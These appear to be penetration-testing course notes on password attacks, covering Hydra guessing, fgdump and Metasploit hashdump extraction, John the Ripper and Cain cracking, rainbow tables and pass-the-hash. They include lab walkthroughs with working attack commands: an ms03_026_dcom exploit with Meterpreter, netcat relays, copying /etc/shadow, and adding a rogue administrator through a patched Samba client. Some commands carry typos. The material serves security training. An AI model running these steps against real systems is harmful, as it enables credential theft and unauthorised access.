  • Lockout threashold: valid values 0 (no lockout) to 999
  • Lockout duration: How long until account is automatically re-enabled (minutes)?
  • Lockout observation window: How long to count bad guesses before resetting (minutes)?
C:\> net accounts
C:\> net accounts /domain

Admin Account Lockout on Windows ..4.42

  • By default, the original Administrator account (500) (which may be renamed) cannot be locked out
    • Microsoft's free passprop.exe can change this
    • Windows 2000 lockout applies to network access, not local console
    • Windows 2003 applies lockout functionality to both network and local console logon attempts
    • Active directory can also configure behavior
C:\> wmic useraccount list brief

Account Lockout on Linux / Unix ..4.43

  • not as likely configured
  • likely done via PAM
  • documentation: /usr/share/doc/pam-[version]/txt/README.pam_tally

Linux / Unix Account Lockout with PAM Tally ..4.44

  • PAM configuration stored in /etc/pam.conf or /etc/pam.d/
  • to check if in use:
# grep tally /etc/pam.d/*
# grep tally /etc/pam.conf
auth required /lib/security/pam_tally.so deny=5 onerr=fail lock_time=180 reset no_magic_root
  • By default, root acount is not locked out via PAM, unless even_deny_root_account is set in pam.d files

Account Lockout: Safer Approaches ..4.45

  • Safest: Don't perform
    • Lowers value of testing
  • Ask target personnel
    • net accounts /domain
    • grep tally /etc/pam.d/*

A Final Approach: Experiment with Account Lockout ..4.46

* Create one or more test accounts

In Case of Extreme Emergency ..4.47

  • If lockout occurs on Windows
  • If lockout occurs on Linux
    • Mount the file system
    • counts are maintained on Linux by default in /var/log/faillog
# faillog -r -u [login_name]
  • kon-boot

A boot sector for USB or CD-ISO

Password Guessing with THC-Hydra ..4.48

Password Guessing: THC-Hydra ..4.49

  • command line - hydra
  • X-win GUI - xhydra
  • supports many protocols

Trimming Wordlists with pw-inspector ..4.50

  • THC-Hydra includes pw-inspector to trim wordlist
    • -i: Input file (or use Standard In)
    • -o: Output file (or use Standard Out)
    • -m [n]: Min password length
    • -M [N]: max password length
    • -c [count]: Minimum number of criteria required in each password
    • Criteria
      • -l: lower case
      • -u: upper case
      • -n: numbers
      • -p: printable chars not in lower/upper/num
      • -s: special characters (all others)

Hydra Exercise ..4.51

Exercise Scenario ..4.52

  • Attack two machines
    • 10.10.10.10 (Windows), user is george, with file and print sharing
    • 127.0.0.1 (linux), user is jim, SSH service protocol v2
  • Minimum password length 6
    • number, upper, lower

Reviewing Wordlist ..4.53

copy password list from John the Ripper and start tweaking

# cp /home/tools/john-1.7*/run/password.lst /tmp

count the words

# wc -l /tmp/password.lst

look at the list

# gedit /tmp/password.lst

Using THC Hydra pw-inspector ..4.54

review options

# pw-inspector

look at passwords with numbers

# cat /tmp/password.lst | pw-inspector -n

look at printable character words

# cat /tmp/password.lst | pw-inspector -p

generate a list matching policy

# cat /tmp/password.lst | pw-inspector -m 6 -n -u -l -c 2
# cat /tmp/password.lst | pw-inspector -m 6 -n -u -l -c 2 > /tmp/custom_list.lst

Configuring Hydra to Attack ..4.55

# xhydra
Single Target = 10.10.10.10
Protocol = SMB (the server message block protocol used by Windows file and print sharing)
Leave the Port at 0 to use the default port for the protocol

on password tab

username = george
"Password List" = /tmp/custom_list.lst
Check "Try login as password" and "Try empty password"
  • Look at the bottom of the Hydra window and you can see the command line that the GUI is constructing.

Launching Attack Against 10.10.10.10 ..4.56

# tcpdump -nn host 10.10.10.10

note port used is 139

change protocol to smbnt

note port used is 445

Prepping 127.0.0.1 ..4.57

# useradd jim
# passwd jim
bond007
bond007
# lsof -Pi

look for port 22, start if not running

# service sshd start
# service iptables stop

Configure hydra to Attack 127.0.0.1 ..4.58

# xhydra
target = 127.0.0.1
protocol = ssh2
port 0 for default of 22
check Show Attempts

Password tab

Username: jim
Password List /tmp/custom_list.lst
Check "Try login as password" and "Try empty password"

Run Sniffer and Watch Log Files ..4.59

# tcpdump -i lo
# tail -f /var/log/messages

A Problem? ..4.60

  • Very likey did not work because of overwhelming target
# ps aux | grep hydra
# ps aux | grep hydra | wc -l

Reconfigure and Re-Run ..4.61

"Number of Tasks" from 36 to 1

restart the test

cleanup and remove home directory (-r)

# userdel -r jim

Password Representation Formats ..4.62

Windows Password Representations in the SAM ..4.63

  • In the SAM database, Windows can store passwords in two forms:
    • Lanman
    • NT Hash
  • By default, both are stored in NT, 2000, XP, and 2003
    • LANMAN hashes are not stored in Vista and 2008 by default (although, that can be altered)

Windows Password Representations in AD ..4.64

  • Active Directory stored account information including LANMAN and NT hashes in %systemroot%\ntds\ntds.dit
  • it stores whole domain schema
  • with admin privileges and physical access, a user can boot to a special domain admin recovery mode and get a copy of this file
    • no tools to parse this file for LANMAN and NT hashes have been publicly released
  • with admin or SYSTEM privileges, you can dump Windows password representations from Active Directory using pwdump tools, locally or across the network

LANMAN Hash Algorithm ..4.65

  • If password < 15 characters, pad it to exactly 14 characters
  • Convert to upper case
  • Break into two 7-character pieces
  • Use each piece as a DES key to encrypt a constant of KGS!@#$%
  • Concatenate two pieces
Local
define NO LANMAN HASH

NT Hash Algorithm ..4.66

  • Full password is hashed using MD4
    • Case is preserved
    • Passwords up to 256 characters long
  • Neither LANMAN nor NT hases are salted
    • Rainbow Table attacks much more feasible

Windows Challenge/Response on the Network ..4.67

  • From a network perspective, Windows supports multiple forms of cryptographic authentication
    • LANMAN Challenge/Response
    • NTLMv1
    • NTLMv2
    • Microsoft Kerberos
  • Each is generated from stored LANMAN and/or NT has in SAM or AD

LANMAN Challenge/Response ..4.68

  • Client initiates authentication
  • Server sends challenge
  • Client formulates response from challenge by:
    • Padding LANMAN hash to 21 bytes
    • Splitting LANMAN hash into 3 seven-byte pieces
    • Using each piece as a DES key to encrypt challenge
  • NTLMv1 does the same thing, except it uses NT has as starting point for this operation

LANMAN and NTLMv1 Challenge/Response ..4.69

  • graphical representation on this slide

NTLMv2 Graphically ..4.71

  • More sophisticated and harder to crack
  • client initiates authentication
  • Server sends server challenge
  • Client formulates response from server challenge by:
    • Creating the HMAC-MD5 of User name and Domain name with NT hash as the key
    • The result is called the NTLMv2 One-Way Function (OWF)
    • Then, the response is created from the HMAC-MD5 of server challenge, time stamp, client challenge, and other items, using the NTLMv2 OWF as the key
shutdown /a (aborts shutdown) (CTRL-SHIFT-ENTER on Win 7 to run as administrator)

Linux and Unix Password Representations ..4.72

  • Most rely on underlying crypt(3) function of operating system
    • Input: user's password, random salt
    • Output: text string
    • The crypt routine used to formulate passwords varies on different variants of Unix and Linux
      • Traditional DES-based schemes - some systems still use
      • MD5 - very common today, hashed password starts with $1$
      • BSDi Extened DES, hashed passwords start with _
      • Blowfish-based - hashed passwords start with $2$ or $2a$
      • SHA-256, used by some Linux distros, starts with $5$
      • SHA-512, used by other Linux distros, starts with $6$

Traditional Linux/Unix DES Password Scheme ..4.73

  • Traditional DES-based scheme
    • Starts with user's password
    • Truncate to 8 characters
    • Shrink to 7-bits per character
    • Use resulting 56-bit key to DES encrypt zero-clock 25 times, folding a 12-bit salt into the algorithm
    • Results are base64-encoded
    • Some systems tweak number of DES rounds and start with non-zero block

Linux/Unix MD5-based Password Scheme ..4.74

  • Start with password, any length
  • Keep full character set (not just 7-bit ASCII)
  • Hash password and salt together
  • Take result and hash it along with original password and salt
  • Apply in multiple rounds, varying the manner in which hash, salt, and password are interleaved in each round
  • Some system apply 1,000 rounds
  • Others have variable number of rounds
  • SHA-256 and SHA-512 use a similar stragtegy, but with different algorithm and 5,000 rounds by default

Obtaining Password Hashes ..4.75

Obtaining Linux/Unix Password Representations ..4.76

  • Grab a copy of /etc/password
    • Contains login names, UID numbers, and possibly password representations (if not shadowed)
    • Readable by an account on system
  • Grab a copy of /etc/shadow
    • Contains password representations, security setting, etc.
    • Readable only by accounts with UID 0
  • Combine two together with script

John the Ripper's unshadow script pulls account info from /etc/passwd and password info from /etc/shadow, creating one resulting file suitable for cracking

Obtaining Windows Password Representations ..4.77

  • pwdump family of products use admin privs to extrat hashes across the network using Windows file and print sharing protocols and various API's
    • Pulls local account on non-DC systems
    • pulls AD account from Domain Controllers
  • Metasploit Meterpreter hashdump capability
    • no Windows file and print sharing protocol access needed
  • Sniff Challenge/response from the network
    • LANMAN challenge/response, NTLMv1, NTLMv2, MS Kerberos

Pwdump Tools ..4.78

  • Use admin privs to access remotely accessible share, copy extraction code there, and run it, grabbing shares from memory of running processes and sending back via named pipe to attacker
    • Pull hashes from local SAM as well as Active Directory database
  • Many tools rely on DLL injection into LSASS process with Windows CreateRemoteThread API call to extract hashes
  • When process is complete, tools automatically delete artifacts left on target's file system
  • pwdump2 to pwdump3
    • move hashes across network in clear text
    • May crash LSASS due to Windows DEP forcing a reboot

More Recent Pwdump Tools ..4.79

  • Pwdump3e to pwdump6
    • Encrypt hases as they move across network - pwdump6 uses Blowfish
    • Chance of crashing LSASS lowered by marking inject code as executable
  • fgdump
    • From Fizzgig of the Foofus hacking group
    • Address problem of antivirus tools deleting pwdump programs and DLL's copied to target file system for extraction
    • Before moving files, fgdump remotely disables AV tools and then moves file to dump password hashes

Dumping Cached Windows Credentials with fgdump ..4.80

  • The fgdump tool also integrates cachedump functionality
    • Windows machines store information about the last 10 logon names and passwords in the Registry
      • useful if domain goes down
      • Stored in the Registry, in HKLM\SECURITY\CACHE\NL$n, with n ranging between 1 and 10
    • They are encrypted with an LSA key created for each system
  • Cachedump tools (such as fgdump) pull the LSA key from LSASS memory, and grab the cached NT and LANMAN credentials from the registry
  • These credentials are stored in encrypted form, salted with the username in Unicde format
  • Extracted cache credentials can be creacked using a customized patch for John the Ripper

Metasploit Priv Module Hashdump ..4.81

  • The Metasploit priv module can dump hases from a local Windows machine
  • Requires the Meterpreter to run from within an admin or SYSTEM-level process
  • Doesn't require remote NetBIOS or SMB access
    • uses meterpreter communications session
  • Doesn't copy files to target's file system
    • Entirely memory resident, with a DLL running inside of exploited process
    • A much smaller footprint for forensics investigators to find
  • Doesn't have issues with DEP
    • As long as Metasploit exploit and Meterpreter payloads themselves are executed without cousing a DEP exception

Sniffing Windows Challenge-Response Authentication ..4.82

  • Instead of grabbing the SAM from a target machine, the attacker could sniff challenge/response authentication from the network
  • The attacker would have to be located on the path between a victim machine and the system to which it authenticates…or trick the user into doing challenge/response authentication with the attacker's machine

fgdump Exercise ..4.83

Fgdump Exercise ..4.84

C:\> cd c:\tools\fgdump\Release
C:\> fgdump.exe -c

Running fgdump Against Remote Target ..4.85

C:\> net use
C:\> fgdump -c -h 10.10.10.10 -u falken

or

C:\> fgdump -c -h 10.10.10.10 -u 10.10.10.10\falken
joshua

while running, we can see that it opened a network share

C:\> net use

Bouncing fgdump Over Netcat Relay/Setting Up Netcat Relay with a Tee ..4.86-7

mknod backpipe p
nc -l -p 445 0<backpipe | nc 10.10.10.10 445 | tee backpipe

within 2 seconds (the smb session expects a request):

C:\> fgdump -c -h [LinuxIP] -u falken -p joshua

Launching fgdump Through Relay ..4.88

fgdump -c -h [Your Linux IPaddr] -u falken -p joshua

Some windows machines need the domain specified–10.10.10.10\falken.

Looking at the Results ..4.89

  • Look for liles named 10.10.10.10.pwdump and [YourLinuxIPaddr].pwdump
  • we can us the Windows file compare
C:\> fc 10.10.10.10.pwdump [YourLinuxIPaddr].pwdump
C:\> type [YourLinuxIPaddr].pwdump

John the Ripper ..4.90

John the Ripper Password Cracker ..4.91

John's Configuration File and Cracking Modes ..4.92

  • configured via john.conf (Linux or john.ini (Windows)
  • Supports four modes
    • Single Crack - use login and GECOS info
      • Config under: [List.Rules:Single]
    • Wordlist - use dictionary
      • Config under: [List.Rules:Wordlist]
    • Incremental - brute force attack
      • Config under: [Incremental:All],[Incremental:Alpha],[Incremental:Alnum], etc
    • External - write your own guessing code
      • Config uner:[List.External:[name]]
      • Modules usually written in C

The john.pot File ..4.93

  • When John cracks a password, it displays the result on the screen and stores it in the john.pot file
    • John will not load passwords that it has already cracked based on what is stored in john.pot
$ ./john --show [password_files]

The john.rec File ..4.94

  • John stores its current status in the john.rec file
    • updated every 10 minutes in case John or the system crashes
    • When you start John, it automatically picks up where it left off in the john.rec file
      • no indication of this
      • remove the john.rec and john.pot file to start over
    • Format is undocumented on purpose
    • Hit CTRL-C to stop John
      • will flush current status in to john.rec
    • Hit CTRL-C twice quickly, and itwill abort creating john.rec

Interpreting John's Output ..4.95

  • Hit any key and John tells you its current status
    • guesses: How many passwords it has guessed so far
    • time: How long it has been running (to 1 second accuracy)
    • percentage: The amount that it is finished with in Single Crack or Wordlist mode
    • c/s: Indicates “combinations per second” attempted
    • trying: The current password that it is trying

John and Speed ..4.96

  • John can be compiled to support specific different processor types
    • MMX instructions
    • Streaming Single SIMD Extensions 2 (SSE2) instructions
    • 64-bit
    • PowerPC
    • Others
  • –test option will estimate the speed which john will run

Distributed John Cracking? ..4.97

  • John doesn't officially support distributed cracking across multiple machines
    • You could have each John instance focus on one account (be careful…same salt account should be on same system)
  • Or, you can have multiple iterations of John each trying different character-length passwords
    • Specify MinLen and MaxLen for incremental modein john.conf
  • Each John can put its result in the same john.pot file, mounted as a files share specifying a different –session=[name]

Distributed Cracking Tools ..4.98

  • most highly experimental and prone to crashing

GPU Password Cracking Tools ..4.99

  • Most rely on CUDA (Compute Unified Device Architecture)
    • such as GeForce 8400 or later
  • The Free GPU MD5 password cracker:
    • 200 million guess/encrypt/compare cycles per second on current hardware for unsalted MD5
  • The free CUDA-multiforcer
  • The free aircrack-ng-CUDA version for WPA2 pre-shared key cracking
  • The free pyrit for WPA and WPA2 PSK cracking with CoWPAtty
  • Commercial Elcomsoft Distributed Password Recovery Tool (patent pendin) - US $599 for 20 client version

John Exercise ..4.100

Exercise: Patching John to Support NT Hashes ..4.101

In /home/tools john has been compiled without NT hash ans SSE2 support

# make linux-x86-any

Exercise: Patching John for NT Hashes ..4.102

# mkdir /tmp/john-1.7.2.orig
# cp -r /home/tools/john-1.7.2/* /tmp/john-1.7.2.org/
# cp /home/tools/john-1.7.2-ntlm-alainesp-6.1.diff.gz /tmp
# ls /tmp/john*
# gunzip /tmp/john-1.7.2-ntlm-alainesp-6.1.diff.gz
# cd /tmp
# patch -p0 < john-1.7.2-ntlm-alainesp-6.1.diff

Compiling SSE2-capable John with NT Hash Support ..4.103

# cd /tmp/john-1.7.2.orig/src
# make

This will not compile john, but show the different system types supported

# make clean
# make linux-x86-sse2

Comparing Speeds SSE2 vs. No SSE2 ..4.104

# cd /tmp/john-1.7.2.orig/run
# ./john --test

note the NT hash cracking ability

# cd /home/tools/john-1.7.2/run
# ./joun --test

Moving Windows Password Dump to Linux ..4.105

instead of mounting the course DVD on the Linux VM, lets use netcat:

# nc -n -l -p 2222 > /tmp/sam.txt
C:\> d:
D:\> cd Windows
D:\> c:\tools\nc.exe -n -v -w3 [YourLinuxIPaddr 2222 < sam.txt

Verify:

# cat /tmp/sam.txt

Cracking LANMAN vs. NT Hashes ..4.106

# cd /tmp/john-1.7.2.orig/run
# ./john /tmp/sam.txt

Hit space to show the speed

Now focus on NT hashes

# ./john --format=nt /tmp/sam.txt

Cracking Linux Passwords ..4.107

# useradd charlie -s /sbin/nologin
# useradd dizzy -s /sbin/nologin
# useradd ted -s /sbin/nologin
# useradd monk -s /sbin/nologin
# passwd charlie (eilrahc)
# passwd dizzy (internet12)
# passwd ted (newpass)
# passwd monk (virginia)

Cracking Linux Passwords ..4.108

# cp /etc/passwd /tmp/jphn-1.7.2.orig/run/passwd_copy
# cp /et/shadow /tmp/john-1.7.2.orig/run/shadow_copy

Use unshadow to combine files

# cd /tmp/john-1.7.2.orig/run
# ./unshadow passwd_copy shadow_copy > combined.txt
# ./john combined.txt

Look at Results in john.pot File ..4.109

# cd /tmp/john-1.7.2.orig/run
# cat john.pot

Finishing Up ..4.110

# userdel -r charlie
# userdel -r dizzy
# userdel -r ted
# userdel -r monk
# cd /tmp/john-1.7.2.orig/run
# shred --remove passwd_copy
# shred --remove shadow_copy
# shred --remove combined.txt
# shred --remove john.pot
# shred --remove /tmp/sam.txt

Cain ..4.111

  • Written by Massimiliano Montoro
  • free at www.oxid.it
  • runs on Windows
  • Focus is password cracking, but can do much more

Cain's Password Cracking Tools ..4.113

  • Password types
  • Windows Types
    • LANMAN
    • NT
    • LANMAN Challenge/Response
    • NTLMv1
    • NTLMv2
    • MS Kerberos5 Pre-Auth
    • Passed via SMB, IMAP, POP3, SMTP, HTTP, NNTP, TDS(MS SQL Server)
  • Non-Windows
    • Cicso IOS Type 5 enable
    • Cisco PIX enable
    • APOP-MD5
    • VNC-3DES
    • RADIUS Pre-Shared Secret
    • IKE Pre-Shared Key
    • Oracle
    • MySQL 323 and MySQL
    • Many more

Cain's Sniffers ..4.114

* Cain's sniffers are focused on extracting passwords or password hashes from various protocols

  • FTP, Telnet, SMTP, HTTP (Basic, Form, Cookie, Windows C/R), IMAP (Plaintext, login, CRAM-MD5, Windows C/R), POP3 (Plaintext, APOP-MD5, CRAM-MD5, Windows C/R), VNC, RDP - extract keystrokes, MS SQL, MySQL, SMB, SIP/RTP - VoIP communications, converted to WAV file for audio playback, HTTPS (Requires Man-in-Middle via ARP attack

Non-Cracking and Non-Sniffing Features of Cain ..4.115

  • TCP/UDP/ICMP traceroute
  • Show local TCP and UDP port usage
  • Wireless Scanner (similar to Netstumbler functionality)
  • SIP/RTP-to-WAV file converter
  • SecureID Token Generator
  • Box revealer
    • Reveal what's behind * in password box
    • Implemented via DLL injection
  • Hash calculator
    • MD2, MD4, MD5, SHA-1, SHA-2, RIPEMD-160, LANMAN, NT, MySQL323, MySQLSHA-1, Cisco PIX

Some Cain Password and Sniffer Helpers ..4.116

  • Syskey decoder
    • Syskey is an extra 128-bit encryption for Windows SAM or AD when stored in the file system
    • Cain rebuilds Syskey from registry if it is stored there without a password
    • Syskey usually dowsn't have a password, so that the machine can boot without human intervention
  • ARP-Poisoned Routing (so-called “ARP”)
    • Sends gratuitous ARPs to poinson IP Addr to Mac Addr mapping on end systems
    • Usefil for sniffing in switched subnets
    • Useful for man-in-the-middle attacks
      • HTTPS and SSHv1 supported by Cain

Cain's ARP-Poisoned Routing ..4.117

  • Attacker running Cain with ARP-Poisoned Routing IP=? MAC=cc.cc
    • 1) Gratuitous ARP Send w.x.y.z to CC.CC
    • 2) Gratuitous ARP Send a.b.c.d to CC.CC
  • Victim
    • 3) IP=a.b.c.d MAC=AA.AA
  • Router-Outside World
    • IP=w.x.y.z MAC=BB.BB

Cain Exercise ..4.118

Cain Exercise ..4.119

  • Install
  • Cain uses a specific version of WinPcap, which may not be compatible with other sniffing related tools like snort or Windump

Cain's Password Cracking Wordlist ..4.120

C:\> cd "c:\Program Files\Cain"
C:\> dir
C:\> cd Wordlists

count the words

C:\> type Wordlist.txt |find /c /v ""

Look at the words

more Wordlist.txt

Cain's Hash Calculator ..4.121

  • MD4 and NT hash differ in that NT uses the unicode representation of the text and MD4 uses straight ASCII

Setting Up **** Password Box ..4.122

lusrmgr.msc, fill in the password box, but don't create the account

Cain's Password Box Reavealer ..4.123

  • 1 Decoders
  • 2 Edit Boxes
  • 3 +
  • 4 Shows masked passwords

LANMAN Challenge Response Cracking with Cain ..124

  • activate sniffer in Cain on Windows
  • Then, use a smbclient on our Linux Machines to try to mount a share on the Windows box running Cain with a bogus username and password
  • sniff the LANMAN Challenge/Response and NTLMv1 Challenge/Response
    • Because the password is coming to our Windows machine where Cain is running, there is no need for ARP Poisoned Routing
  • We'll then crack the password used for the exchange
  • Linux using smbclient—>LANMAN Challenge/Response and NTLMv1—>Windows running Cain sniffer

Activating Cain's Sniffer ..4.125

  • 1) Go to Sniffer tab
  • 2) Turn on Sniffer with the button that looks like a network adapter. The first time it will ask for network information, then make sure it is depressed to sniff.
  • 3) At the bottom of the screen, click on the Passwords tab

Preparing Windows to Receive Packets ..4.126

  • disable firewall
  • Make sure “File and Printer Sharing for Miceosoft Networks” is enabled
C:\> netsh firewall set opmode disable

Sending LM C/R and NTLMv1 Credentials and Sniffing Them ..4.127

  • Invoke smbclient on Linux to perfor an authentication attempt with our Windows system running Cain
# smbclient //[Windows_IP_Addr]c$ applesause -U [user]

Stop Sniffer and Send Results to Password Cracker ..4.128

  • Stop the sniffer by clicking on that same button used to start the sniffer
  • right click on the line that displays the challenge/response authentication, and select “Send to Cracker”

Invoke Password Cracker ..4.129

  • select the “Cracker” Tab at the top
  • right click on the line that includes your sniffed exchange
  • and select “Dictionary Attack”
  • select “LM Hashes + challenge”
  • “NTLM Hashes + challenge” is another option here, but for now, use the previous

Configure Wordlist and Crack ..4.130

  • The Dictionary Attack screen should appear
  • 1) click “Add” and
  • 2) select “c:\Program Files\Cain\Worklist.txt
  • 3) select “As Is”, and for fun, “Reverse”, “Two numbers Hybrid Brute”. We don't need “Lowercase”
  • 4) click Start
  • 5) watch the status
  • 6) applesauce should appear after a minute or two

If You Have More Time ..4.131

  • When it cracks the password, click stop
  • Try another password, but Cain will likely pick up where it left off in the password list
  • Hit the reset button to start at the beginning

If You Have Even More Time ..4.132

  • The capture.pcap file in the Windows directory of the course DVD contains a sniffed coice call using SIP/RTP
  • 1) click the “Sniffer” tab at the top
  • 2) click on “VoIP” tab at the bottom
  • 3) click on open file and select the file to load it in the list
  • 4) Right click on the file and select “Play”

Rainbow Table Attacks ..4.133

Traditional Cracking vs. Rainbow Table Style Cracking ..4.134

  • Traditional password cracking cycle
    • Guess, encrypt/hash, compare, repeat
    • Continue until password is cracked
  • Password cracked with Rainbow tables:
    • Encrypt/hash, store, lookup

Time-Memory Trade-Off ..4.135

  • “Time-Memory Trade-Off” Paper by Martin Hellman at www-ee.stanford.edu/~hellman/publications/36.pdf
  • The computational complexity is approximately the same order of magnitude as traditional password cracking, when attacking one password
    • Rainbow tables encrypt all guesses, not just until you crack a password
    • But, you can do the encryption in advance, once
    • Store the large table for multiple tests

Why Rainbow Tables? ..4.136

  • speed
  • Instead of spending a day, a week, or a month cracking a password…
    • …looking it up in Rainbow Tables often takes seconds
    • or up to an hour

Rainbow Table Attack Requirements ..4.137

  • rainbow tables, either generated or obtained
  • lookup tool
  • hashes - non-salted, mostly associated with LANMAN

Obtaining Rainbow Tables ..4.138

Commercial Rainbow Tables ..4.139

  • From Objectif-Securite, creators of Ophcrack
  • Astalavista.net/?cmd=rainbowtables
    • Be careful with free services, they post lookups and results
  • Free Rainbow Tables project will ship you a 500 Gig or 1TB hard drive with tables for $400-$550

Storage of Tables? ..4.140

  • If we stored all hashes in our tables, we'd have a problem:
    • Alpha-Numeric Keyspace 8.06 * 10^10
    • Alpha-Numeric with Special Characters Keyspace 7.5 * 10^12
  • If password = 7 bytes, hash = 8 bytes, we'd need 112TB
  • Yet Rainbow tables with 99.9% success rates at less than a Gig… How?

How Rainbow Tables are Built ..4.141

  • For efficiency, most Rainbow Tables don't store a fill index or full hashes
  • Instead, they store information about “chains”, from which hashes and passwords can be derived
  • Chains are built based on two types of functions
    • Password hash function, such as LANMAN
    • Reduction functions, which simply tweak a hash to create a new possible password
      • The password might be a nosensical set of characters, by that's okay
      • Called a reduction function, because hashes tend to be longer than passwords for most password algorithms
      • The reduction functions are hard coded into Rainbow Table tools, and are a series of complex bit slicing and shifting operations

Building Rainbow Tables ..4.142

  • Create chains
  • Start with password
  • create hash
  • Reduce for new password
  • Iterate
  • Chains can only be calculated going forward, because passwords us one-way hash functions
  • Make chain of 10,000 iterations from each password
    • or you could have longer chains, representing more passwords… makes for smaller storage but longer time to crack
  • Store only the initial and end password from each chain

Storing the Rainbow Tables ..4.143

  • Resulting chains are stored in one or more files… these are the Rainbow tables
  • Rainbow Table files structure is based on:
    • Password hash algorithm (LANMAN, NT, unsalted MD5)
    • Character set used to create the Rainbow Tables (Alpha, Alphanumeric, All, etc)
    • Reductions functions
      • Typically there are many in a set of tables, applied in alternating fashion in each chain, making rainbows
    • The number of chains in the file, typically 10 million or more
    • The length of each chain, typically 10,000 or more passwords between initial and end

Rainbow Table Lookups ..4.144

  • To crack a password, start with Hash to Crack
  • Calculate a chain from it
  • Compare each password in its chain to the end password stored in Rainbow Table
  • If it matches, the password is likely somewhere in this given chain
  • Suppose, for our example, Password C matches End Password for Chain III
  • We then know that something in Chain III must be associated with our Hash to Crack

Determining Original Password ..4.145

  • Now, recalculate the entire chain whose end password matched a password in the chaing for our Hash to Crack
  • Look for our Hash to Crack in the chain
  • When we find it, the password is the item just before it in the chain
  • We've just cracked the password
  • complicated, but storage and crack time fast

Tools for Rainbow Table Lookups ..4.146

Ophcrack Exercise ..4.147

Ophcrack Exercise ..4.148

Editing VMX Files for New ISO ..4.149

  • start with an example like ophcrack/vmx on the DVD
  • copy it and the iso to the hard drive
  • edit the line
ide1:0.fileName = "ophcrack-livecd-1.2.2.iso"
  • enter the name of the iso, which defaults the the same directory as the vmx file itself
  • or use full path
  • can tweak ram size and other settings
  • the vmx on the dvd is all set

Booting Ophcrack in VMware ..4.150

In Ophcrack LiveCD ..4.151

  • Select the default boot - Ophcrack LiveCD Graphics Mode (auto mode)

In the VMware image,

# ophcrack

A) Configuring Ophcrack with Rainbow Tables ..4.152

  • Click Tables…
  • /mnt/live/mnt/hdc/slax/ophcrack/tables

B) Move Hashes to Ophcrack Machine ..4.153

  • netcat

B) Using Netcat to Move sam.txt File ..4.154

# ifconfig eth0 10.10.77.[X] netmask 255.255.0.0
C:\> ping 10.10.77.[X]
# ifconfig -n -l -p 2222 > /tmp/sam.txt

B) Moving the sam.txt File ..4.155

C:\> cd [DVD_Drive_Letter]:\windows
c:\> [DVD_Drive_Letter]:
[DVD_Drive_Letter]:\> type sam.txt
[DVD_Drive_Letter]:\> c:\tools\nc.exe -v -n -w3 10.10.77.[X] 2222 < sam.txt
# cat /tmp/sam.txt

Configuring Ophcrack to Use Hashes ..4.156

  • In Ophcrack, click Load
  • Select PWDUMP file
  • Navigate to /tmp/sam.txt
  • Click Open

B) Launching Ophcrack ..4.157

  • Click “Launch”

B) Finishing Up ..4.158

  • Let it run a while
# shutdown -h now

Pass-the Hash Attacks ..4.159

"Pass-the-Hash" Technique ..4.160

  • Instead of cracking passwords…
  • We may have the ability to extract password hashes
    • with admin privileges, we can dump the SAM database
    • with regular user privileges, we can dump current user SAM from memory
  • We could use a hash directly, without cracking the associated password
    • This is called “Pass-the-Hash” technique

Advantages of Pass-the-Hash ..4.161

  • Time consuming password cracking is not required
  • Account-lockout of password guessing will not happen
  • Gives access as the user whose has is employed - possibly admin privs
  • Downside: You must get hashes in the first place to perform the attack
    • But, you'd need them anyway for a cracking attack

Windows Pass-the-Hash using Windows Attack Machine ..4.162

  • Pass-the-Hash Toolkit (pshtoolkit) by Hernan Ochoa from Core Security
  • whosthere.exe: dumps current user session information(including hashes) from lsass.exe
  • genhash.exe: Generates LANMAN and NT hash
  • iam.exe: changes existing hashes in memory to chosen value

Windows Pass-the-Hash using Linux/Unix Attack Machine ..4.163

  • Modified SAMBA code from JoMo-kun of Foofus
    • Patches for SAMBA code to authenticate using environment variable SMBHASH with LANMAN:NT
$ export SMBHASH="[LANMANhash]:[NThash]"
  • Modifications allow attacker to:
    • Mount shares (of course)
    • Add users
    • Change group membership
    • Run a program (using Linux/Unix program winexe, which works like psexec)

Metasploit's Psexec & Pass-the-Hash ..4.164

  • provide UserID and password from admin group, and it'll run a Metasploit payload
  • Metasploit has built in pass-the-hash capability
msf > use windows/smb/psexec
msf > set RHOST [victim]
msf > set PAYLOAD windows/shell/reverse_tcp

…set other options…

msf > set SMBUser [admin_name]
msf > set SMBPass [admin_hash]
msf > exploit

Password Attacks - When To Use Each Technique ..4.165

  • if no hashes
    • THC-Hydra
    • sniff clear-text or challenge/response exchanges (e.g., Cain, tcpdump, etc)
  • if you have hashes
    • If you have salted hashes form Linux or Unix targets, use traditional password cracking (e.g., John the Ripper)
    • If you have LANMAN and/or NT hashes from Windows:
      • use Rainbow Tables (e.g., Ophcrack) and
      • use Traditional password cracking (e.g., John or Cain)
    • If you have LANMAN Challenge/Response, NTLMv1, or NTLMv2 captures, use traditional password cracking (e.g. Cain)
  • If you have Windows LANMAN and/or NT hashes and SMB access, use pass-the-hash techniques (e.g., PSH Toolkit, modified SAMBA client software, Metasploit psexec, Nmap NSE SMB, etc.)

Pass-the-Hash Exercise ..4.166

Using Metasploit to Get Hashes from 10.10.10.10 ..4.167

  • We will extract hashes from 10.10.10.10
    • using Metasploits MS-RPC-DCOM exploit
    • And the Meterpreter's Priv module, which includes hashdump command
  • Then, we'll use those hashes to access the target system without cracking its password

1) Configuring Metasploit ..4.168

# cd /home/tools/framework-3.3.3
# source /opt/usenewruby.sh
# ./msfconsole
# color false
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > set PAYLOAD windows/meterpreter/bind_tcp

1) Finalizing Metasploit Config ..4.169

msf exploit(ms03_026_dcom) > set RHOST 10.10.10.10
msf exploit(ms03_026_dcom) > set LPORT [some_port]
msf exploit(ms03_026_dcom) > show options

1) Exploit and Grab Hashes ..4.170

msf exploit(ms03_026_dcom) > exploit
meterpreter > hashdump

2) Set Hash Environment Variable ..4.171

# export ”[paste-LANMAN]:[paste-NT]”

Alternative Step 2: If 10.10.10.10 Has Problems ..4.172

  • If you cannot get the SAM database from 10.10.10.10
  • There is a copy on the DVD
# cat /home/tools/sam.txt
  • Copy and paste the monk account to create your SMBHASH environment variable
    • use userID of monk instead of administrator

2) Get Ready to Mount Share ..4.173

# echo $SMBHASH
# mkdir /mnt/target
# mount

3) Pass-the-Hash: Mount Share ..4.174

  • use the specially compiled version of SAMBA, which includes the Foofus patches for this attack
# cd /home/tools/samba*/source/bin
# ./smbmount //10.10.10.10/c$ /mnt/target -o username=administrator
# cd /mnt/target
# ls
# cp /mnt/target/Inetpub/wwwroot/default.htm /tmp

3) Add User and manage Groups ..4.175

# cd /home/tools/samba*/source/bin
# unmount /mnt/target
# ./net user ADD [yourname] [password] -I 10.10.10.10 -U administrator
# ./net rpc group ADDMEM administrators [yourname] -I 10.10.10.10 -U administrator

